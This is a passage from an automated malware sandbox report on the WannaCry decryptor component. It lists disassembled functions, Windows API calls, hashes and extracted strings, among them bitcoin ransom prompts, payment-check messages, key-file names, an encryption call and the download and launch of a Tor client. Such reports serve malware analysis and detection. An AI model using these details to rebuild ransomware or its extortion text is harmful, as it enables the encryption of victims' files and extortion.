                                                                                                                          • #2381.MFC42(?,?,?), ref: 0040889F
                                                                                                                          • #3797.MFC42(?,?,?), ref: 004088C0
                                                                                                                          • _ftol.MSVCRT ref: 00408951
                                                                                                                          • _ftol.MSVCRT ref: 0040896F
                                                                                                                          • FillRect.USER32(?,00000000,00000000), ref: 004089B0
                                                                                                                          • #640.MFC42(?,?,?), ref: 00408B09
                                                                                                                          • #755.MFC42(?,?,?), ref: 00408B20
                                                                                                                            • Part of subcall function 00409F80: BitBlt.GDI32(?,?,?,?,\gA,?,\gA,\gA,\gA), ref: 00409FB3
                                                                                                                            • Part of subcall function 00409F10: #5785.MFC42(?,?,00408A5E,?,?,?,?,?,?,?,?,00CC0020), ref: 00409F2D
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: Rect$#5785CompatibleCreateFill_ftol$#1640#1641#2381#2754#323#3797#470#6194#640#6734#755BitmapClientMessageSend
                                                                                                                          • String ID: \gA$fA$fA
                                                                                                                          • API String ID: 1027735583-2217880857
                                                                                                                          • Opcode ID: 6ed80f763e045306e10188d4e497fb721b5fce89834b9b0f8741aa09041edacc
                                                                                                                          • Instruction ID: b72dd9534e9f1d52b621f8c4883ea919de29669ae4f9aefa89eb3b477b52946b
                                                                                                                          • Opcode Fuzzy Hash: 6ed80f763e045306e10188d4e497fb721b5fce89834b9b0f8741aa09041edacc
                                                                                                                          • Instruction Fuzzy Hash: 33D12CB16083419FC314DF25C984AAFBBE9BBC8304F508E2EF1D993291DB749949CB56
                                                                                                                          Function 00402AF0 Relevance: 40.4, APIs: 12, Strings: 11, Instructions: 133COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: _wcsicmp$_wcsnicmpwcsstr
                                                                                                                          • String ID: This folder protects against ransomware. Modifying it will reduce protection$Content.IE5$N(@$Temporary Internet Files$\AppData\Local\Temp$\Intel$\Local Settings\Temp$\Program Files$\Program Files (x86)$\ProgramData$\WINDOWS
                                                                                                                          • API String ID: 2817753184-2613825984
                                                                                                                          • Opcode ID: 5c5dcd1e390a91f16435822322ea41988894e25d1b71caeb8710faf8d967a9e6
                                                                                                                          • Instruction ID: 690a6d88e0cbcba8c0a0bc490ea4abea364cf6131422823267360e98b5ddcfca
                                                                                                                          • Opcode Fuzzy Hash: 5c5dcd1e390a91f16435822322ea41988894e25d1b71caeb8710faf8d967a9e6
                                                                                                                          • Instruction Fuzzy Hash: 3831843235162023D520691D7D4AFCB638C8FE5727F554033FD44E52C1E29EB96A82BD
                                                                                                                          Function 00401760 Relevance: 38.6, APIs: 17, Strings: 5, Instructions: 140filesynchronizationthreadCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #6453.MFC42 ref: 00401780
                                                                                                                          • WaitForSingleObject.KERNEL32(?,00000BB8), ref: 00401797
                                                                                                                          • TerminateThread.KERNEL32(?,00000000), ref: 004017A5
                                                                                                                          • CloseHandle.KERNEL32(?), ref: 004017B2
                                                                                                                          • sprintf.MSVCRT ref: 00401811
                                                                                                                          • fopen.MSVCRT ref: 00401821
                                                                                                                          • fread.MSVCRT ref: 00401844
                                                                                                                          • fclose.MSVCRT ref: 0040184D
                                                                                                                          • DeleteFileA.KERNEL32(?), ref: 0040185B
                                                                                                                          • #537.MFC42(You have a new message:), ref: 00401885
                                                                                                                          • #924.MFC42(?,00000000,?,You have a new message:), ref: 0040189C
                                                                                                                          • #1200.MFC42 ref: 004018AF
                                                                                                                          • #800.MFC42 ref: 004018BF
                                                                                                                          • #800.MFC42 ref: 004018D3
                                                                                                                          • #1200.MFC42(You did not pay or we did not confirmed your payment!Pay now if you didn't and check again after 2 hours.Best time to check: 9:00am - 11:00am GMT from Monday to Friday.,000000F0,00000000), ref: 004018E5
                                                                                                                          Strings
                                                                                                                          • %08X.dky, xrefs: 0040180A
                                                                                                                          • You did not pay or we did not confirmed your payment!Pay now if you didn't and check again after 2 hours.Best time to check: 9:00am - 11:00am GMT from Monday to Friday., xrefs: 004018E0, 00401925
                                                                                                                          • Failed to check your payment!Please make sure that your computer is connected to the Internet and your Internet Service Provider (ISP) does not block connections to the TOR Network!, xrefs: 00401918
                                                                                                                          • You have a new message:, xrefs: 00401877
                                                                                                                          • Congratulations! Your payment has been checked!Start decrypting now!, xrefs: 00401934
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #1200#800$#537#6453#924CloseDeleteFileHandleObjectSingleTerminateThreadWaitfclosefopenfreadsprintf
                                                                                                                          • String ID: %08X.dky$Congratulations! Your payment has been checked!Start decrypting now!$Failed to check your payment!Please make sure that your computer is connected to the Internet and your Internet Service Provider (ISP) does not block connections to the TOR Network!$You did not pay or we did not confirmed your payment!Pay now if you didn't and check again after 2 hours.Best time to check: 9:00am - 11:00am GMT from Monday to Friday.$You have a new message:
                                                                                                                          • API String ID: 2207195628-1375496427
                                                                                                                          • Opcode ID: 0124457e6eab98ad7ab5e08ccab151a7b3cccaeabfe0b10511df38693a1a7d3a
                                                                                                                          • Instruction ID: 8b94a0d45af64711c1f2f56a46f7a966efbefe6460f93d7d0814001cf74dce0a
                                                                                                                          • Opcode Fuzzy Hash: 0124457e6eab98ad7ab5e08ccab151a7b3cccaeabfe0b10511df38693a1a7d3a
                                                                                                                          • Instruction Fuzzy Hash: 1D41F371244740EFC330DB64C895BEB7699AB85710F404A3EF25AA32E0DABC5944CB6B
                                                                                                                          Function 004012E0 Relevance: 37.0, APIs: 15, Strings: 6, Instructions: 202fileCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • sprintf.MSVCRT ref: 00401323
                                                                                                                          • sprintf.MSVCRT ref: 00401339
                                                                                                                          • GetFileAttributesA.KERNEL32(?), ref: 00401343
                                                                                                                          • DeleteFileA.KERNEL32(?), ref: 0040139A
                                                                                                                          • fread.MSVCRT ref: 00401405
                                                                                                                          • fclose.MSVCRT ref: 00401408
                                                                                                                          • sprintf.MSVCRT ref: 00401440
                                                                                                                          • fopen.MSVCRT ref: 00401453
                                                                                                                            • Part of subcall function 00404690: DeleteCriticalSection.KERNEL32(?,004015D8), ref: 0040469A
                                                                                                                          • fopen.MSVCRT ref: 004013D5
                                                                                                                            • Part of subcall function 00404640: InitializeCriticalSection.KERNEL32(?,?,0040158C), ref: 00404658
                                                                                                                            • Part of subcall function 004047C0: CryptEncrypt.ADVAPI32(?,00000000,00000001,00000000,00000000,?,00000200), ref: 004048DB
                                                                                                                            • Part of subcall function 004047C0: _local_unwind2.MSVCRT ref: 004048EB
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: sprintf$CriticalDeleteFileSectionfopen$AttributesCryptEncryptInitialize_local_unwind2fclosefread
                                                                                                                          • String ID: %08X.dky$%08X.eky$%08X.pky$%08X.res$00000000.res$s.wnry
                                                                                                                          • API String ID: 2787528210-4016014174
                                                                                                                          • Opcode ID: 57a51ecc688d2c0761643bc18b0e2b9a7bca0d11f95f7de6ced9b52eb20b7f63
                                                                                                                          • Instruction ID: 5d668cda142e4e69bdcb8de65b1bf6b3866dc1aa9a0cfc7ced8feefa58b75360
                                                                                                                          • Opcode Fuzzy Hash: 57a51ecc688d2c0761643bc18b0e2b9a7bca0d11f95f7de6ced9b52eb20b7f63
                                                                                                                          • Instruction Fuzzy Hash: 8A71BFB1104741AFD320DB60CC85FEBB3E9ABC4310F404A3EE59A87290EB78A4498B56
                                                                                                                          Function 004076A0 Relevance: 35.2, APIs: 14, Strings: 6, Instructions: 239windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • time.MSVCRT(00000000,?,?,?), ref: 004076DA
                                                                                                                          • sprintf.MSVCRT ref: 0040780E
                                                                                                                          • SendMessageA.USER32(?,00000402,?,00000000), ref: 0040785B
                                                                                                                          • SendMessageA.USER32(?,00000402,?,00000000), ref: 00407870
                                                                                                                          • #540.MFC42 ref: 00407876
                                                                                                                          • _ftol.MSVCRT ref: 004078AA
                                                                                                                          • #2818.MFC42(?,$%d,00000000), ref: 004078BE
                                                                                                                          • #2818.MFC42(?,Send $%d worth of bitcoin to this address:,00000000), ref: 004078D1
                                                                                                                          • #2818.MFC42(?,%.1f BTC,?,?), ref: 004078F5
                                                                                                                          • #2818.MFC42(?,Send %.1f BTC to this address:,?,?), ref: 00407909
                                                                                                                          • #3092.MFC42(00000402,?), ref: 0040791D
                                                                                                                          • #6199.MFC42(00000402,?), ref: 00407924
                                                                                                                          • InvalidateRect.USER32(?,00000000,00000001,00000402,?), ref: 0040795A
                                                                                                                          • #800.MFC42 ref: 0040799F
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #2818$MessageSend$#3092#540#6199#800InvalidateRect_ftolsprintftime
                                                                                                                          • String ID: $%d$%.1f BTC$%02d;%02d;%02d;%02d$00;00;00;00$Send $%d worth of bitcoin to this address:$Send %.1f BTC to this address:
                                                                                                                          • API String ID: 993288296-3256873439
                                                                                                                          • Opcode ID: 4d580652efe8d7a149869b3900c519b1c6978745f6efd4f0e097fd633cdec313
                                                                                                                          • Instruction ID: 9b53b323f570066dafa0cf34324f53a17123da88a1e7ff32529d6bfb7c89d06c
                                                                                                                          • Opcode Fuzzy Hash: 4d580652efe8d7a149869b3900c519b1c6978745f6efd4f0e097fd633cdec313
                                                                                                                          • Instruction Fuzzy Hash: 3281D4B1A043019BD720DF18C981FAB77E9EF88700F04893EF949DB395DA74A9058B96
                                                                                                                          Function 00405E10 Relevance: 31.6, APIs: 17, Strings: 1, Instructions: 144COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #2414.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405E4F
                                                                                                                          • #2414.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405E71
                                                                                                                          • #2414.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405E93
                                                                                                                          • #2414.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405EB5
                                                                                                                            • Part of subcall function 00403F20: #2414.MFC42(?,?,?,004136B8,000000FF,00403F08), ref: 00403F4B
                                                                                                                          • #2414.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405F2F
                                                                                                                          • #2414.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405F93
                                                                                                                          • #800.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405FA9
                                                                                                                          • #800.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405FB9
                                                                                                                          • #800.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405FC9
                                                                                                                          • #800.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405FD9
                                                                                                                          • #781.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405FE9
                                                                                                                            • Part of subcall function 004050A0: #800.MFC42(?,?,?,004138A8,000000FF,00405088), ref: 004050CE
                                                                                                                            • Part of subcall function 004050A0: #795.MFC42(?,?,?,004138A8,000000FF,00405088), ref: 004050DD
                                                                                                                            • Part of subcall function 00404170: #2414.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041B2
                                                                                                                            • Part of subcall function 00404170: #800.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041C5
                                                                                                                            • Part of subcall function 00404170: #800.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041D2
                                                                                                                            • Part of subcall function 00404170: #795.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041E1
                                                                                                                          • #654.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00406066
                                                                                                                          • #765.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00406072
                                                                                                                            • Part of subcall function 00405D90: #654.MFC42(00415A44,?,00000000,00413A88,000000FF,00405D14), ref: 00405DBE
                                                                                                                            • Part of subcall function 00405D90: #765.MFC42(00415A44,?,00000000,00413A88,000000FF,00405D14), ref: 00405DCD
                                                                                                                          • #609.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00406092
                                                                                                                          • #609.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 004060A2
                                                                                                                          • #616.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 004060AF
                                                                                                                          • #641.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 004060BE
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #2414$#800$#609#654#765#795$#616#641#781
                                                                                                                          • String ID: #
                                                                                                                          • API String ID: 2377847243-1885708031
                                                                                                                          • Opcode ID: 0807114d2ea519295407346a987a160cd163468119fa121364e43a1f09c9544f
                                                                                                                          • Instruction ID: 200a364df958368678b01019567048f7f095356612ddb79f46c50176d87071e4
                                                                                                                          • Opcode Fuzzy Hash: 0807114d2ea519295407346a987a160cd163468119fa121364e43a1f09c9544f
                                                                                                                          • Instruction Fuzzy Hash: C4710A74008782CED305EF65C0453DAFFE4AFA5348F54484EE0DA57292DBB86299CBE6
                                                                                                                          Function 004032C0 Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 114windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #4710.MFC42 ref: 004032C5
                                                                                                                          • CreateSolidBrush.GDI32(?), ref: 004032DC
                                                                                                                          • #1641.MFC42(00000000), ref: 004032E9
                                                                                                                          • CreateFontA.GDI32(00000010,00000000,00000000,00000000,000002BC,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000020,Arial), ref: 00403316
                                                                                                                          • #1641.MFC42(00000000), ref: 0040331F
                                                                                                                          • #3092.MFC42(00000408,00000000), ref: 0040332B
                                                                                                                          • SendMessageA.USER32(?,00000030,?,00000001), ref: 0040334A
                                                                                                                          • #3092.MFC42(00000409), ref: 00403353
                                                                                                                          • SendMessageA.USER32(?,00000030,?,00000001), ref: 0040336C
                                                                                                                          • #3092.MFC42(00000002), ref: 00403372
                                                                                                                          • SendMessageA.USER32(?,00000030,?,00000001), ref: 0040338B
                                                                                                                          • #3092.MFC42(0000040E), ref: 00403394
                                                                                                                          • SendMessageA.USER32(?,00000030,?,00000001), ref: 004033A9
                                                                                                                          • SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 004033C2
                                                                                                                          • #3996.MFC42(00000000,Path,00000000,000000FF,000000FF), ref: 004033D4
                                                                                                                          • SendMessageA.USER32(?,0000101E,00000000,000001F4), ref: 004033EC
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: MessageSend$#3092$#1641Create$#3996#4710BrushFontSolid
                                                                                                                          • String ID: Arial$Path
                                                                                                                          • API String ID: 2448086372-1872211634
                                                                                                                          • Opcode ID: 54367d22f402edf92e4263bf03619f0e020ba41dcf2f2cd55327d399c3bd1a02
                                                                                                                          • Instruction ID: b960ea7794e319caf0268359e71fff6d42033abaa4d887be80586a06fbef81fd
                                                                                                                          • Opcode Fuzzy Hash: 54367d22f402edf92e4263bf03619f0e020ba41dcf2f2cd55327d399c3bd1a02
                                                                                                                          • Instruction Fuzzy Hash: 4831D5B13907107BE6249760CD83FAE6659BB84B10F20421EB756BF2D1CEF8AD41879C
                                                                                                                          Function 00406AE0 Relevance: 29.8, APIs: 14, Strings: 3, Instructions: 78COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #800$#537#924sprintf$#3874#540AttributesFile
                                                                                                                          • String ID: English$m_%s.wnry$msg\
                                                                                                                          • API String ID: 3713669620-4206458537
                                                                                                                          • Opcode ID: f36c2dcfbfc0b931c038135b008570d0ce4cdd6941e9a910e96e45ef17743a79
                                                                                                                          • Instruction ID: 3ad7a17867ea9436e9d42ea8b12d154e8c58dea708134770199309aae3637b36
                                                                                                                          • Opcode Fuzzy Hash: f36c2dcfbfc0b931c038135b008570d0ce4cdd6941e9a910e96e45ef17743a79
                                                                                                                          • Instruction Fuzzy Hash: 4A316170108341AEC324EB25D941FDE77A4BBA8714F404E1EF59AC32D1EB789558CAA7
                                                                                                                          Function 0040B840 Relevance: 28.1, APIs: 10, Strings: 6, Instructions: 138synchronizationprocessfileCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • sprintf.MSVCRT ref: 0040B87A
                                                                                                                          • GetFileAttributesA.KERNEL32(?,?,?,?,00000000,?), ref: 0040B88D
                                                                                                                          • CreateProcessA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 0040B9AA
                                                                                                                            • Part of subcall function 0040B6A0: CreateDirectoryA.KERNEL32(?,00000000,?,762F3310,00000000,00000428), ref: 0040B6B4
                                                                                                                            • Part of subcall function 0040B6A0: DeleteFileA.KERNEL32(?), ref: 0040B6D9
                                                                                                                          • sprintf.MSVCRT ref: 0040B924
                                                                                                                          • GetFileAttributesA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0040B934
                                                                                                                            • Part of subcall function 0040B780: CreateDirectoryA.KERNEL32(?,00000000,?,762F3310,00000428), ref: 0040B793
                                                                                                                            • Part of subcall function 0040B780: GetTempFileNameA.KERNEL32(?,004214DC,00000000,?), ref: 0040B7D4
                                                                                                                            • Part of subcall function 0040B780: DeleteUrlCacheEntry.WININET(?), ref: 0040B7DB
                                                                                                                            • Part of subcall function 0040B780: URLDownloadToFileA.URLMON(00000000,?,?,00000000,00000000), ref: 0040B7ED
                                                                                                                            • Part of subcall function 0040B780: DeleteFileA.KERNEL32(?), ref: 0040B815
                                                                                                                          • CopyFileA.KERNEL32(?,?,00000000), ref: 0040B955
                                                                                                                          • WaitForSingleObject.KERNEL32(?,00001388,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 0040B9CF
                                                                                                                          • WaitForSingleObject.KERNEL32(?,00007530,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 0040B9E2
                                                                                                                          • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000,08000000), ref: 0040B9EF
                                                                                                                          • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000,08000000), ref: 0040B9F6
                                                                                                                            • Part of subcall function 0040B780: DeleteFileA.KERNEL32(?), ref: 0040B82C
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: File$Delete$Create$AttributesCloseDirectoryHandleObjectSingleWaitsprintf$CacheCopyDownloadEntryNameProcessTemp
                                                                                                                          • String ID: %s\%s\%s$D$TaskData$Tor$taskhsvc.exe$tor.exe
                                                                                                                          • API String ID: 4284242699-636499233
                                                                                                                          • Opcode ID: 09006d51623bf6324b32cedefd723180e41c2e4a94ec42060d8d8d083510f0e4
                                                                                                                          • Instruction ID: 35d80fb58dc1195f77b7b167f0129d00e9adf464e01d9889cd120ecf7352bd78
                                                                                                                          • Opcode Fuzzy Hash: 09006d51623bf6324b32cedefd723180e41c2e4a94ec42060d8d8d083510f0e4
                                                                                                                          • Instruction Fuzzy Hash: 0C4137716443007AD710DBA4EC41BEBB7D4AFE8700F90883FF698532E1D6B99548879E
                                                                                                                          Function 00402C40 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 72libraryloaderCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • LoadLibraryA.KERNEL32(kernel32.dll), ref: 00402C63
                                                                                                                          • GetProcAddress.KERNEL32(00000000,CreateFileW), ref: 00402C80
                                                                                                                          • GetProcAddress.KERNEL32(00000000,WriteFile), ref: 00402C8D
                                                                                                                          • GetProcAddress.KERNEL32(00000000,ReadFile), ref: 00402C9A
                                                                                                                          • GetProcAddress.KERNEL32(00000000,MoveFileW), ref: 00402CA7
                                                                                                                          • GetProcAddress.KERNEL32(00000000,MoveFileExW), ref: 00402CB4
                                                                                                                          • GetProcAddress.KERNEL32(00000000,DeleteFileW), ref: 00402CC1
                                                                                                                          • GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 00402CCE
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: AddressProc$LibraryLoad
                                                                                                                          • String ID: CloseHandle$CreateFileW$DeleteFileW$MoveFileExW$MoveFileW$ReadFile$WriteFile$kernel32.dll
                                                                                                                          • API String ID: 2238633743-1294736154
